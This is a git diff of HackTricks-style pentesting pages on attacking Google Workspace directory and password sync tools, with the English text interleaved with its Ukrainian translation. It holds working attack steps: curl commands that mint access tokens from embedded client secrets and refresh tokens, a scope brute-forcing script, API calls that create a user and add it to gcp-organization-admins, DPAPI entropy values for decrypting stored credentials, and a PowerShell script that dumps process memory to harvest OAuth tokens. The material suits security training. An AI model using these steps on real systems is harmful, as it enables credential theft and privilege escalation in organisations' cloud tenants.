--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
|
||||
https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
|
||||
### GCDS - Scopes
|
||||
### GCDS - Сфери
|
||||
|
||||
> [!NOTE]
|
||||
> Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the **scopes supported by the application where you are generating the access token**.
|
||||
> Зверніть увагу, що навіть маючи токен оновлення, неможливо запитати жодну сферу для токена доступу, оскільки ви можете запитувати лише **сфери, підтримувані додатком, в якому ви генеруєте токен доступу**.
|
||||
>
|
||||
> Also, the refresh token is not valid in every application.
|
||||
> Крім того, токен оновлення не є дійсним у кожному додатку.
|
||||
|
||||
By default GCSD won't have access as the user to every possible OAuth scope, so using the following script we can find the scopes that can be used with the `refresh_token` to generate an `access_token`:
|
||||
За замовчуванням GCSD не матиме доступу як користувач до кожної можливої сфери OAuth, тому, використовуючи наступний скрипт, ми можемо знайти сфери, які можна використовувати з `refresh_token` для генерації `access_token`:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bash script to brute-force scopes</summary>
|
||||
|
||||
<summary>Bash скрипт для брутфорсу сфер</summary>
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
|
||||
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03PR0VQOSCjS1CgYIARAAGAMSNwF-L9Ir5b_vOaCmnXzla0nL7dX7TJJwFcvrfgDPWI-j19Z4luLpYfLyv7miQyvgyXjGEXt-t0A" \
|
||||
--data "scope=$scope" \
|
||||
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
echo $scope >> /tmp/valid_scopes.txt
|
||||
fi
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
|
||||
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03PR0VQOSCjS1CgYIARAAGAMSNwF-L9Ir5b_vOaCmnXzla0nL7dX7TJJwFcvrfgDPWI-j19Z4luLpYfLyv7miQyvgyXjGEXt-t0A" \
|
||||
--data "scope=$scope" \
|
||||
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
echo $scope >> /tmp/valid_scopes.txt
|
||||
fi
|
||||
done
|
||||
|
||||
echo ""
|
||||
@@ -287,11 +278,9 @@ echo "Valid scopes:"
|
||||
cat /tmp/valid_scopes.txt
|
||||
rm /tmp/valid_scopes.txt
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
And this is the output I got at the time of the writing:
|
||||
|
||||
І ось результат, який я отримав на момент написання:
|
||||
```
|
||||
https://www.googleapis.com/auth/admin.directory.group
|
||||
https://www.googleapis.com/auth/admin.directory.orgunit
|
||||
@@ -302,43 +291,36 @@ https://www.googleapis.com/auth/apps.groups.settings
|
||||
https://www.googleapis.com/auth/apps.licensing
|
||||
https://www.googleapis.com/auth/contacts
|
||||
```
|
||||
|
||||
#### Create a user and add it into the group `gcp-organization-admins` to try to escalate in GCP
|
||||
|
||||
#### Створіть користувача та додайте його до групи `gcp-organization-admins`, щоб спробувати ескалувати привілеї в GCP
|
||||
```bash
|
||||
# Create new user
|
||||
curl -X POST \
|
||||
'https://admin.googleapis.com/admin/directory/v1/users' \
|
||||
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{
|
||||
"primaryEmail": "deleteme@domain.com",
|
||||
"name": {
|
||||
"givenName": "Delete",
|
||||
"familyName": "Me"
|
||||
},
|
||||
"password": "P4ssw0rdStr0ng!",
|
||||
"changePasswordAtNextLogin": false
|
||||
}'
|
||||
'https://admin.googleapis.com/admin/directory/v1/users' \
|
||||
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{
|
||||
"primaryEmail": "deleteme@domain.com",
|
||||
"name": {
|
||||
"givenName": "Delete",
|
||||
"familyName": "Me"
|
||||
},
|
||||
"password": "P4ssw0rdStr0ng!",
|
||||
"changePasswordAtNextLogin": false
|
||||
}'
|
||||
|
||||
# Add to group
|
||||
curl -X POST \
|
||||
'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
|
||||
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{
|
||||
"email": "deleteme@domain.com",
|
||||
"role": "OWNER"
|
||||
}'
|
||||
'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
|
||||
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{
|
||||
"email": "deleteme@domain.com",
|
||||
"role": "OWNER"
|
||||
}'
|
||||
|
||||
# You could also change the password of a user for example
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> It's not possible to give the new user the Super Amin role because the **refresh token doesn't have enough scopes** to give the required privileges.
|
||||
> Неприпустимо надати новому користувачу роль Super Amin, оскільки **токен оновлення не має достатньо обсягів** для надання необхідних привілеїв.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -4,55 +4,54 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
This is the binary and service that Google offers in order to **keep synchronized the passwords of the users between the AD** and Workspace. Every-time a user changes his password in the AD, it's set to Google.
|
||||
Це двійковий файл і служба, яку Google пропонує для **синхронізації паролів користувачів між AD** та Workspace. Кожного разу, коли користувач змінює свій пароль в AD, він встановлюється в Google.
|
||||
|
||||
It gets installed in `C:\Program Files\Google\Password Sync` where you can find the binary `PasswordSync.exe` to configure it and `password_sync_service.exe` (the service that will continue running).
|
||||
Він встановлюється в `C:\Program Files\Google\Password Sync`, де ви можете знайти двійковий файл `PasswordSync.exe` для його налаштування та `password_sync_service.exe` (служба, яка продовжить працювати).
|
||||
|
||||
### GPS - Configuration
|
||||
|
||||
To configure this binary (and service), it's needed to **give it access to a Super Admin principal in Workspace**:
|
||||
Щоб налаштувати цей двійковий файл (і службу), потрібно **надати доступ до Super Admin principal в Workspace**:
|
||||
|
||||
- Login via **OAuth** with Google and then it'll **store a token in the registry (encrypted)**
|
||||
- Only available in Domain Controllers with GUI
|
||||
- Giving some **Service Account credentials from GCP** (json file) with permissions to **manage the Workspace users**
|
||||
- Very bad idea as those credentials never expired and could be misused
|
||||
- Very bad idea give a SA access over workspace as the SA could get compromised in GCP and it'll possible to pivot to Workspace
|
||||
- Google require it for domain controlled without GUI
|
||||
- These creds are also stored in the registry
|
||||
- Увійдіть через **OAuth** з Google, а потім він **зберігатиме токен у реєстрі (зашифрований)**
|
||||
- Доступно лише на контролерах домену з GUI
|
||||
- Надати деякі **облікові дані Service Account з GCP** (json файл) з правами на **управління користувачами Workspace**
|
||||
- Дуже погана ідея, оскільки ці облікові дані ніколи не закінчуються і можуть бути зловживані
|
||||
- Дуже погана ідея надавати SA доступ до Workspace, оскільки SA може бути скомпрометований у GCP, і це може дозволити перейти до Workspace
|
||||
- Google вимагає це для контролю домену без GUI
|
||||
- Ці облікові дані також зберігаються в реєстрі
|
||||
|
||||
Regarding AD, it's possible to indicate it to use the current **applications context, anonymous or some specific credentials**. If the credentials option is selected, the **username** is stored inside a file in the **disk** and the **password** is **encrypted** and stored in the **registry**.
|
||||
Щодо AD, можливо вказати використовувати поточний **контекст додатків, анонімний або деякі специфічні облікові дані**. Якщо вибрано опцію облікових даних, **ім'я користувача** зберігається в файлі на **диску**, а **пароль** є **зашифрованим** і зберігається в **реєстрі**.
|
||||
|
||||
### GPS - Dumping password and token from disk
|
||||
|
||||
> [!TIP]
|
||||
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GPS**, get information about the configuration and **even decrypt the password and token**.
|
||||
> Зверніть увагу, що [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) здатний виявити **GPS**, отримати інформацію про конфігурацію та **навіть розшифрувати пароль і токен**.
|
||||
|
||||
In the file **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** it's possible to find part of the configuration like the **`baseDN`** of the AD configured and the **`username`** whose credentials are being used.
|
||||
У файлі **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** можна знайти частину конфігурації, таку як **`baseDN`** налаштованого AD та **`username`**, облікові дані якого використовуються.
|
||||
|
||||
In the registry **`HKLM\Software\Google\Google Apps Password Sync`** it's possible to find the **encrypted refresh token** and the **encrypted password** for the AD user (if any). Moreover, if instead of an token, some **SA credentials** are used, it's also possible to find those encrypted in that registry address. The **values** inside this registry are only **accessible** by **Administrators**.
|
||||
У реєстрі **`HKLM\Software\Google\Google Apps Password Sync`** можна знайти **зашифрований токен оновлення** та **зашифрований пароль** для користувача AD (якщо є). Більше того, якщо замість токена використовуються деякі **облікові дані SA**, також можливо знайти їх зашифрованими за цією адресою реєстру. **Значення** в цьому реєстрі доступні лише **адміністраторам**.
|
||||
|
||||
The encrypted **password** (if any) is inside the key **`ADPassword`** and is encrypted using **`CryptProtectData`** API. To decrypt it, you need to be the same user as the one that configured the password sync and use this **entropy** when using the **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
|
||||
Зашифрований **пароль** (якщо є) знаходиться в ключі **`ADPassword`** і зашифрований за допомогою **`CryptProtectData`** API. Щоб розшифрувати його, потрібно бути тим же користувачем, що налаштував синхронізацію паролів, і використовувати цю **ентропію** при використанні **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
|
||||
|
||||
The encrypted token (if any) is inside the key **`AuthToken`** and is encrypted using **`CryptProtecData`** API. To decrypt it, you need to be the same user as the one that configured the password sync and use this **entropy** when using the **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
|
||||
Moreover, it's also encoded using base32hex with the dictionary **`0123456789abcdefghijklmnopqrstv`**.
|
||||
Зашифрований токен (якщо є) знаходиться в ключі **`AuthToken`** і зашифрований за допомогою **`CryptProtectData`** API. Щоб розшифрувати його, потрібно бути тим же користувачем, що налаштував синхронізацію паролів, і використовувати цю **ентропію** при використанні **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
|
||||
Більше того, він також кодується за допомогою base32hex з словником **`0123456789abcdefghijklmnopqrstv`**.
|
||||
|
||||
The entropy values were found by using the tool . It was configured to monitor the calls to **`CryptUnprotectData`** and **`CryptProtectData`** and then the tool was used to launch and monitor `PasswordSync.exe` which will decrypt the configured password and auth token at the beginning and the tool will **show the values for the entropy used** in both cases:
|
||||
Значення ентропії були знайдені за допомогою інструменту. Він був налаштований для моніторингу викликів до **`CryptUnprotectData`** та **`CryptProtectData`**, а потім інструмент використовувався для запуску та моніторингу `PasswordSync.exe`, який розшифрує налаштований пароль і токен авторизації на початку, і інструмент **показуватиме значення для використаної ентропії** в обох випадках:
|
||||
|
||||
<figure><img src="../../../images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Note that it's also possible to see the **decrypted** values in the input or output of the calls to these APIs also (in case at some point Winpeas stop working).
|
||||
Зверніть увагу, що також можливо побачити **розшифровані** значення в введенні або виході викликів до цих API (в разі, якщо в якийсь момент Winpeas перестане працювати).
|
||||
|
||||
In case the Password Sync was **configured with SA credentials**, it will also be stored in keys inside the registry **`HKLM\Software\Google\Google Apps Password Sync`**.
|
||||
У разі, якщо синхронізація паролів була **налаштована з обліковими даними SA**, вона також буде зберігатися в ключах у реєстрі **`HKLM\Software\Google\Google Apps Password Sync`**.
|
||||
|
||||
### GPS - Dumping tokens from memory
|
||||
|
||||
Just like with GCPW, it's possible to dump the memory of the process of the `PasswordSync.exe` and the `password_sync_service.exe` processes and you will be able to find refresh and access tokens (if they have been generated already).\
|
||||
I guess you could also find the AD configured credentials.
|
||||
Так само, як і з GCPW, можливо вивантажити пам'ять процесу `PasswordSync.exe` та процесу `password_sync_service.exe`, і ви зможете знайти токени оновлення та доступу (якщо вони вже були згенеровані).\
|
||||
Я думаю, ви також могли б знайти налаштовані облікові дані AD.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Dump <code>PasswordSync.exe</code> and the <code>password_sync_service.exe</code> processes and search tokens</summary>
|
||||
|
||||
```powershell
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
|
||||
@@ -61,8 +60,8 @@ $dumpFolder = "C:\Users\Public\dumps"
|
||||
|
||||
# Regular expressions for tokens
|
||||
$tokenRegexes = @(
|
||||
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
|
||||
"1//[a-zA-Z0-9_\.\-]{50,}"
|
||||
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
|
||||
"1//[a-zA-Z0-9_\.\-]{50,}"
|
||||
)
|
||||
|
||||
# Show EULA if it wasn't accepted yet for strings
|
||||
@@ -70,7 +69,7 @@ $stringsPath
|
||||
|
||||
# Create a directory for the dumps if it doesn't exist
|
||||
if (!(Test-Path $dumpFolder)) {
|
||||
New-Item -Path $dumpFolder -ItemType Directory
|
||||
New-Item -Path $dumpFolder -ItemType Directory
|
||||
}
|
||||
|
||||
# Get all Chrome process IDs
|
||||
@@ -79,94 +78,90 @@ $chromeProcesses = Get-Process | Where-Object { $processNames -contains $_.Name
|
||||
|
||||
# Dump each Chrome process
|
||||
foreach ($processId in $chromeProcesses) {
|
||||
Write-Output "Dumping process with PID: $processId"
|
||||
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
|
||||
Write-Output "Dumping process with PID: $processId"
|
||||
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
|
||||
}
|
||||
|
||||
# Extract strings and search for tokens in each dump
|
||||
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
|
||||
$dumpFile = $_.FullName
|
||||
$baseName = $_.BaseName
|
||||
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
|
||||
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
|
||||
$dumpFile = $_.FullName
|
||||
$baseName = $_.BaseName
|
||||
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
|
||||
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
|
||||
|
||||
Write-Output "Extracting strings from $dumpFile"
|
||||
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
|
||||
& $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
|
||||
Write-Output "Extracting strings from $dumpFile"
|
||||
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
|
||||
& $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
|
||||
|
||||
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
|
||||
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
|
||||
|
||||
foreach ($file in $outputFiles) {
|
||||
foreach ($regex in $tokenRegexes) {
|
||||
foreach ($file in $outputFiles) {
|
||||
foreach ($regex in $tokenRegexes) {
|
||||
|
||||
$matches = Select-String -Path $file -Pattern $regex -AllMatches
|
||||
$matches = Select-String -Path $file -Pattern $regex -AllMatches
|
||||
|
||||
$uniqueMatches = @{}
|
||||
$uniqueMatches = @{}
|
||||
|
||||
foreach ($matchInfo in $matches) {
|
||||
foreach ($match in $matchInfo.Matches) {
|
||||
$matchValue = $match.Value
|
||||
if (-not $uniqueMatches.ContainsKey($matchValue)) {
|
||||
$uniqueMatches[$matchValue] = @{
|
||||
LineNumber = $matchInfo.LineNumber
|
||||
LineText = $matchInfo.Line.Trim()
|
||||
FilePath = $matchInfo.Path
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
foreach ($matchInfo in $matches) {
|
||||
foreach ($match in $matchInfo.Matches) {
|
||||
$matchValue = $match.Value
|
||||
if (-not $uniqueMatches.ContainsKey($matchValue)) {
|
||||
$uniqueMatches[$matchValue] = @{
|
||||
LineNumber = $matchInfo.LineNumber
|
||||
LineText = $matchInfo.Line.Trim()
|
||||
FilePath = $matchInfo.Path
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
foreach ($matchValue in $uniqueMatches.Keys) {
|
||||
$info = $uniqueMatches[$matchValue]
|
||||
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
|
||||
}
|
||||
}
|
||||
foreach ($matchValue in $uniqueMatches.Keys) {
|
||||
$info = $uniqueMatches[$matchValue]
|
||||
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
|
||||
}
|
||||
}
|
||||
|
||||
Write-Output ""
|
||||
}
|
||||
Write-Output ""
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### GPS - Generating access tokens from refresh tokens
|
||||
|
||||
Using the refresh token it's possible to generate access tokens using it and the client ID and client secret specified in the following command:
|
||||
### GPS - Генерація токенів доступу з токенів оновлення
|
||||
|
||||
Використовуючи токен оновлення, можна згенерувати токени доступу, використовуючи його та ідентифікатор клієнта і секрет клієнта, зазначені в наступній команді:
|
||||
```bash
|
||||
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
|
||||
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
|
||||
https://www.googleapis.com/oauth2/v4/token
|
||||
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
|
||||
https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
|
||||
### GPS - Scopes
|
||||
|
||||
> [!NOTE]
|
||||
> Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the **scopes supported by the application where you are generating the access token**.
|
||||
> Зверніть увагу, що навіть маючи refresh token, неможливо запитати жоден scope для access token, оскільки ви можете запитувати лише **scopes, підтримувані додатком, в якому ви генеруєте access token**.
|
||||
>
|
||||
> Also, the refresh token is not valid in every application.
|
||||
> Крім того, refresh token не є дійсним у кожному додатку.
|
||||
|
||||
By default GPS won't have access as the user to every possible OAuth scope, so using the following script we can find the scopes that can be used with the `refresh_token` to generate an `access_token`:
|
||||
За замовчуванням GPS не матиме доступу як користувач до кожного можливого OAuth scope, тому, використовуючи наступний скрипт, ми можемо знайти scopes, які можна використовувати з `refresh_token` для генерації `access_token`:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bash script to brute-force scopes</summary>
|
||||
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
|
||||
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
|
||||
--data "scope=$scope" \
|
||||
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
echo $scope >> /tmp/valid_scopes.txt
|
||||
fi
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
|
||||
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
|
||||
--data "scope=$scope" \
|
||||
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
echo $scope >> /tmp/valid_scopes.txt
|
||||
fi
|
||||
done
|
||||
|
||||
echo ""
|
||||
@@ -175,22 +170,15 @@ echo "Valid scopes:"
|
||||
cat /tmp/valid_scopes.txt
|
||||
rm /tmp/valid_scopes.txt
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
And this is the output I got at the time of the writing:
|
||||
|
||||
І ось результат, який я отримав на момент написання:
|
||||
```
|
||||
https://www.googleapis.com/auth/admin.directory.user
|
||||
```
|
||||
|
||||
Which is the same one you get if you don't indicate any scope.
|
||||
Який є тим самим, що ви отримуєте, якщо не вказати жодної області.
|
||||
|
||||
> [!CAUTION]
|
||||
> With this scope you could **modify the password of a existing user to escalate privileges**.
|
||||
> З цією областю ви могли б **змінити пароль існуючого користувача для ескалації привілеїв**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,58 +4,54 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
The main difference between this way to synchronize users with GCDS is that GCDS is done manually with some binaries you need to download and run while **Admin Directory Sync is serverless** managed by Google in [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
Основна різниця між цим способом синхронізації користувачів з GCDS полягає в тому, що GCDS виконується вручну з деякими бінарними файлами, які потрібно завантажити та запустити, тоді як **Admin Directory Sync є безсерверним** і керується Google на [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
|
||||
At the moment of this writing this service is in beta and it supports 2 types of synchronization: From **Active Directory** and from **Azure Entra ID:**
|
||||
На момент написання цього матеріалу ця служба знаходиться в бета-версії і підтримує 2 типи синхронізації: з **Active Directory** та з **Azure Entra ID:**
|
||||
|
||||
- **Active Directory:** In order to set this up you need to give **access to Google to you Active Directory environment**. And as Google only has access to GCP networks (via **VPC connectors**) you need to create a connector and then make your AD available from that connector by having it in VMs in the GCP network or using Cloud VPN or Cloud Interconnect. Then, you also need to provide **credentials** of an account with read access over the directory and **certificate** to contact via **LDAPS**.
|
||||
- **Azure Entra ID:** To configure this it's just needed to **login in Azure with a user with read access** over the Entra ID subscription in a pop-up showed by Google, and Google will keep the token with read access over Entra ID.
|
||||
- **Active Directory:** Щоб налаштувати це, вам потрібно надати **доступ Google до вашого середовища Active Directory**. Оскільки Google має доступ лише до мереж GCP (через **VPC connectors**), вам потрібно створити конектор, а потім зробити ваш AD доступним з цього конектора, розмістивши його на ВМ у мережі GCP або використовуючи Cloud VPN або Cloud Interconnect. Потім вам також потрібно надати **облікові дані** облікового запису з правами читання на каталог та **сертифікат** для зв'язку через **LDAPS**.
|
||||
- **Azure Entra ID:** Щоб налаштувати це, потрібно просто **увійти в Azure з користувачем з правами читання** на підписку Entra ID у спливаючому вікні, яке відобразить Google, і Google зберігатиме токен з правами читання на Entra ID.
|
||||
|
||||
Once correctly configured, both options will allow to **synchronize users and groups to Workspace**, but it won't allow to configure users and groups from Workspace to AD or EntraID.
|
||||
Після правильного налаштування обидва варіанти дозволять **синхронізувати користувачів та групи з Workspace**, але не дозволять налаштовувати користувачів та групи з Workspace до AD або EntraID.
|
||||
|
||||
Other options that it will allow during this synchronization are:
|
||||
Інші можливості, які будуть доступні під час цієї синхронізації:
|
||||
|
||||
- Send an email to the new users to log-in
|
||||
- Automatically change their email address to the one used by Workspace. So if Workspace is using `@hacktricks.xyz` and EntraID users use `@carloshacktricks.onmicrosoft.com`, `@hacktricks.xyz` will be used for the users created in the account.
|
||||
- Select the **groups containing the users** that will be synced.
|
||||
- Select to **groups** to synchronize and create in Workspace (or indicate to synchronize all groups).
|
||||
- Надіслати електронний лист новим користувачам для входу
|
||||
- Автоматично змінити їхню електронну адресу на ту, що використовується Workspace. Тобто, якщо Workspace використовує `@hacktricks.xyz`, а користувачі EntraID використовують `@carloshacktricks.onmicrosoft.com`, то для користувачів, створених в обліковому записі, буде використано `@hacktricks.xyz`.
|
||||
- Вибрати **групи, що містять користувачів**, які будуть синхронізовані.
|
||||
- Вибрати **групи** для синхронізації та створення в Workspace (або вказати на синхронізацію всіх груп).
|
||||
|
||||
### From AD/EntraID -> Google Workspace (& GCP)
|
||||
|
||||
If you manage to compromise an AD or EntraID you will have total control of the users & groups that are going to be synchronized with Google Workspace.\
|
||||
However, notice that the **passwords** the users might be using in Workspace **could be the same ones or not**.
|
||||
Якщо вам вдасться скомпрометувати AD або EntraID, ви отримаєте повний контроль над користувачами та групами, які будуть синхронізовані з Google Workspace.\
|
||||
Однак зверніть увагу, що **паролі**, які можуть використовувати користувачі в Workspace, **можуть бути однаковими або ні**.
|
||||
|
||||
#### Attacking users
|
||||
|
||||
When the synchronization happens it might synchronize **all the users from AD or only the ones from a specific OU** or only the **users members of specific groups in EntraID**. This means that to attack a synchronized user (or create a new one that gets synchronized) you will need first to figure out which users are being synchronized.
|
||||
Коли відбувається синхронізація, можуть синхронізуватися **всі користувачі з AD або лише ті, що з конкретного OU** або лише **користувачі, які є членами конкретних груп в EntraID**. Це означає, що для атаки на синхронізованого користувача (або створення нового, який буде синхронізований) вам спочатку потрібно з'ясувати, які користувачі синхронізуються.
|
||||
|
||||
- Users might be **reusing the password or not from AD or EntraID**, but this mean that you will need to **compromise the passwords of the users to login**.
|
||||
- If you have access to the **mails** of the users, you could **change the Workspace password of an existing user**, or **create a new user**, wait until it gets synchronized an setup the account.
|
||||
- Користувачі можуть **повторно використовувати пароль або ні з AD або EntraID**, але це означає, що вам потрібно **скомпрометувати паролі користувачів для входу**.
|
||||
- Якщо у вас є доступ до **електронних листів** користувачів, ви можете **змінити пароль Workspace для існуючого користувача**, або **створити нового користувача**, почекати, поки він буде синхронізований, і налаштувати обліковий запис.
|
||||
|
||||
Once you access the user inside Workspace it might be given some **permissions by default**.
|
||||
Після того, як ви отримаєте доступ до користувача в Workspace, йому можуть бути надані деякі **дозволи за замовчуванням**.
|
||||
|
||||
#### Attacking Groups
|
||||
|
||||
You also need to figure out first which groups are being synchronized. Although there is the possibility that **ALL** the groups are being synchronized (as Workspace allows this).
|
||||
Вам також потрібно спочатку з'ясувати, які групи синхронізуються. Хоча існує можливість, що **ВСІ** групи синхронізуються (оскільки Workspace це дозволяє).
|
||||
|
||||
> [!NOTE]
|
||||
> Note that even if the groups and memberships are imported into Workspace, the **users that aren't synchronized in the users sychronization won't be created** during groups synchronization even if they are members of any of the groups synchronized.
|
||||
> Зверніть увагу, що навіть якщо групи та членства імпортуються в Workspace, **користувачі, які не синхронізуються в синхронізації користувачів, не будуть створені** під час синхронізації груп, навіть якщо вони є членами будь-якої з синхронізованих груп.
|
||||
|
||||
If you know which groups from Azure are being **assigned permissions in Workspace or GCP**, you could just add a compromised user (or newly created) in that group and get those permissions.
|
||||
Якщо ви знаєте, які групи з Azure отримують **дозволи в Workspace або GCP**, ви можете просто додати скомпрометованого користувача (або новоствореного) до цієї групи та отримати ці дозволи.
|
||||
|
||||
There is another option to abuse existing privileged groups in Workspace. For example, the group `gcp-organization-admins@<workspace.email>` usually has high privileges over GCP.
|
||||
Існує ще один варіант зловживання існуючими привілейованими групами в Workspace. Наприклад, група `gcp-organization-admins@<workspace.email>` зазвичай має високі привілеї над GCP.
|
||||
|
||||
If the synchronization from, for example EntraID, to Workspace is **configured to replace the domain** of the imported object **with the email of Workspace**, it will be possible for an attacker to create the group `gcp-organization-admins@<entraid.email>` in EntraID, add a user in this group, and wait until the synchronization of all the groups happen.\
|
||||
